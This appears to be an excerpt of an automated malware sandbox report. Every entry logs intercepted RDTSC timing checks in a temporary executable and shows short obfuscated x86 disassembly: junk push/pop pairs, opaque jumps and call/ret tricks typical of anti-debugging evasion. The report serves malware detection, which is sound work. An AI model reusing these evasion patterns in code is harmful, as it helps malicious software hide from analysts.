Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC93E second address: 8CC9EB instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEE851EFD8Ch 0x00000008 jo 00007FEE851EFD86h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 mov dword ptr [ebp+122D321Fh], edi 0x00000017 movsx esi, cx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007FEE851EFD88h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov ch, 82h 0x00000038 mov edx, dword ptr [ebp+122D2B35h] 0x0000003e push 8B3CBEFBh 0x00000043 jmp 00007FEE851EFD8Fh 0x00000048 add dword ptr [esp], 74C34185h 0x0000004f push ebx 0x00000050 mov edi, esi 0x00000052 pop edx 0x00000053 push 00000003h 0x00000055 push 00000000h 0x00000057 push ebx 0x00000058 call 00007FEE851EFD88h 0x0000005d pop ebx 0x0000005e mov dword ptr [esp+04h], ebx 0x00000062 add dword ptr [esp+04h], 00000017h 0x0000006a inc ebx 0x0000006b push ebx 0x0000006c ret 0x0000006d pop ebx 0x0000006e ret 0x0000006f push 00000000h 0x00000071 mov ecx, dword ptr [ebp+122D2A2Dh] 0x00000077 push 00000003h 0x00000079 mov di, 1E7Dh 0x0000007d push EF340851h 0x00000082 push eax 0x00000083 push edx 0x00000084 jmp 00007FEE851EFD8Fh 0x00000089 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC9EB second address: 8CC9F1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CC9F1 second address: 8CCA42 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD99h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xor dword ptr [esp], 2F340851h 0x00000012 mov dword ptr [ebp+122D1A54h], edi 0x00000018 lea ebx, dword ptr [ebp+12461515h] 0x0000001e jmp 00007FEE851EFD8Ch 0x00000023 mov dl, bl 0x00000025 xchg eax, ebx 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 jg 00007FEE851EFD86h 0x0000002f ja 00007FEE851EFD86h 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CCA42 second address: 8CCA6B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007FEE84E88FC6h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FEE84E88FD8h 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8CCA6B second address: 8CCA71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EBAC2 second address: 8EBAC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EBD75 second address: 8EBD7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EBD7D second address: 8EBD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEE84E88FC6h 0x0000000a jc 00007FEE84E88FC6h 0x00000010 push esi 0x00000011 pop esi 0x00000012 popad 0x00000013 pushad 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EBD94 second address: 8EBD9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EC34F second address: 8EC354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EC354 second address: 8EC386 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEE851EFD9Ah 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FEE851EFD8Eh 0x0000000f ja 00007FEE851EFD86h 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EC386 second address: 8EC3AE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FEE84E88FCAh 0x00000013 push eax 0x00000014 push edx 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8EC3AE second address: 8EC3BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD8Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ECC41 second address: 8ECC47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8E4588 second address: 8E459F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEE851EFD86h 0x00000009 pushad 0x0000000a popad 0x0000000b jo 00007FEE851EFD86h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8E459F second address: 8E45C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FEE84E88FCFh 0x0000000e jne 00007FEE84E88FCCh 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ECD93 second address: 8ECD98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ED2F7 second address: 8ED2FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ED2FB second address: 8ED30D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FEE851EFD8Ch 0x0000000c jnp 00007FEE851EFD86h 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ED775 second address: 8ED77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ED77E second address: 8ED782 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8ED782 second address: 8ED7B3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pushad 0x00000008 jmp 00007FEE84E88FCDh 0x0000000d pushad 0x0000000e jmp 00007FEE84E88FD9h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8E45BF second address: 8E45C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8F36D9 second address: 8F36E3 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8F36E3 second address: 8F372A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jno 00007FEE851EFD86h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 jmp 00007FEE851EFD95h 0x00000016 push esi 0x00000017 pushad 0x00000018 popad 0x00000019 pop esi 0x0000001a popad 0x0000001b mov eax, dword ptr [eax] 0x0000001d jmp 00007FEE851EFD8Ch 0x00000022 mov dword ptr [esp+04h], eax 0x00000026 jo 00007FEE851EFD98h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8F372A second address: 8F372E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FAF89 second address: 8FAF8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FAF8D second address: 8FAF9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FAF9A second address: 8FAFA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FB0BE second address: 8FB0C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FB0C2 second address: 8FB0D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jne 00007FEE851EFD86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FB0D2 second address: 8FB0FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jnl 00007FEE84E88FC8h 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FB645 second address: 8FB649 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FB649 second address: 8FB654 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FC04F second address: 8FC082 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push eax 0x0000000e push edx 0x0000000f push ebx 0x00000010 jmp 00007FEE851EFD90h 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FC082 second address: 8FC112 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnc 00007FEE84E88FC6h 0x00000009 je 00007FEE84E88FC6h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 mov eax, dword ptr [eax] 0x00000014 jmp 00007FEE84E88FCBh 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d pushad 0x0000001e jnc 00007FEE84E88FD3h 0x00000024 jmp 00007FEE84E88FCDh 0x00000029 jmp 00007FEE84E88FD9h 0x0000002e popad 0x0000002f pop eax 0x00000030 push 00000000h 0x00000032 push edi 0x00000033 call 00007FEE84E88FC8h 0x00000038 pop edi 0x00000039 mov dword ptr [esp+04h], edi 0x0000003d add dword ptr [esp+04h], 0000001Ah 0x00000045 inc edi 0x00000046 push edi 0x00000047 ret 0x00000048 pop edi 0x00000049 ret 0x0000004a mov esi, ebx 0x0000004c call 00007FEE84E88FC9h 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FEE84E88FCDh 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FC112 second address: 8FC118 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FC118 second address: 8FC159 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b je 00007FEE84E88FCCh 0x00000011 ja 00007FEE84E88FC6h 0x00000017 push ebx 0x00000018 push ebx 0x00000019 pop ebx 0x0000001a pop ebx 0x0000001b popad 0x0000001c mov eax, dword ptr [esp+04h] 0x00000020 jmp 00007FEE84E88FD5h 0x00000025 mov eax, dword ptr [eax] 0x00000027 pushad 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FC715 second address: 8FC71F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FC71F second address: 8FC723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCC80 second address: 8FCC84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCC84 second address: 8FCC8A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCC8A second address: 8FCC94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FEE851EFD86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCDDB second address: 8FCDEA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCDEA second address: 8FCDEF instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCF73 second address: 8FCF9E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jns 00007FEE84E88FC6h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push edx 0x00000012 jmp 00007FEE84E88FD8h 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCF9E second address: 8FCFA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FCFA3 second address: 8FCFA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD126 second address: 8FD134 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD134 second address: 8FD138 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD138 second address: 8FD13E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD13E second address: 8FD143 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD19A second address: 8FD19E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD19E second address: 8FD1A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD1A4 second address: 8FD1AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FEE851EFD86h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD299 second address: 8FD2AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE84E88FCEh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD2AC second address: 8FD2E3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jng 00007FEE851EFD86h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 call 00007FEE851EFD88h 0x00000019 pop eax 0x0000001a mov dword ptr [esp+04h], eax 0x0000001e add dword ptr [esp+04h], 00000015h 0x00000026 inc eax 0x00000027 push eax 0x00000028 ret 0x00000029 pop eax 0x0000002a ret 0x0000002b mov di, ax 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FD2E3 second address: 8FD2E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 8FE120 second address: 8FE126 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 901D92 second address: 901DAB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jns 00007FEE84E88FC6h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 901DAB second address: 901DFE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE851EFD97h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b mov esi, dword ptr [ebp+122D29BDh] 0x00000011 push 00000000h 0x00000013 mov dword ptr [ebp+122D1A06h], esi 0x00000019 push 00000000h 0x0000001b push 00000000h 0x0000001d push ecx 0x0000001e call 00007FEE851EFD88h 0x00000023 pop ecx 0x00000024 mov dword ptr [esp+04h], ecx 0x00000028 add dword ptr [esp+04h], 00000017h 0x00000030 inc ecx 0x00000031 push ecx 0x00000032 ret 0x00000033 pop ecx 0x00000034 ret 0x00000035 xchg eax, ebx 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 push edx 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 901DFE second address: 901E08 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEE84E88FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 901E08 second address: 901E0E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 902A0C second address: 902A5F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a push eax 0x0000000b pushad 0x0000000c jbe 00007FEE84E88FDCh 0x00000012 jmp 00007FEE84E88FD6h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FEE84E88FD6h 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 902A5F second address: 902ACC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007FEE851EFD88h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 push 00000000h 0x00000024 push 00000000h 0x00000026 push ebp 0x00000027 call 00007FEE851EFD88h 0x0000002c pop ebp 0x0000002d mov dword ptr [esp+04h], ebp 0x00000031 add dword ptr [esp+04h], 0000001Ch 0x00000039 inc ebp 0x0000003a push ebp 0x0000003b ret 0x0000003c pop ebp 0x0000003d ret 0x0000003e mov esi, ebx 0x00000040 push 00000000h 0x00000042 mov esi, dword ptr [ebp+122D2E36h] 0x00000048 xchg eax, ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b jmp 00007FEE851EFD8Fh 0x00000050 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 902ACC second address: 902AF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEE84E88FD7h 0x00000008 push eax 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e pushad 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 902AF1 second address: 902AF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 901B09 second address: 901B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE84E88FD3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 902AF5 second address: 902AFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 9027BE second address: 9027C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90450A second address: 90450E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90450E second address: 904521 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE84E88FCFh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 904521 second address: 90453E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FEE851EFD92h 0x0000000c jp 00007FEE851EFD86h 0x00000012 jc 00007FEE851EFD86h 0x00000018 pushad 0x00000019 push edx 0x0000001a pop edx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 90453E second address: 904551 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FEE84E88FC6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jo 00007FEE84E88FC6h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 904551 second address: 904557 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\EHDHDHIECG.exe	RDTSC instruction interceptor: First address: 904557 second address: 904570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push esi 0x00000008 pushad 0x00000009 jmp 00007FEE84E88FCEh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
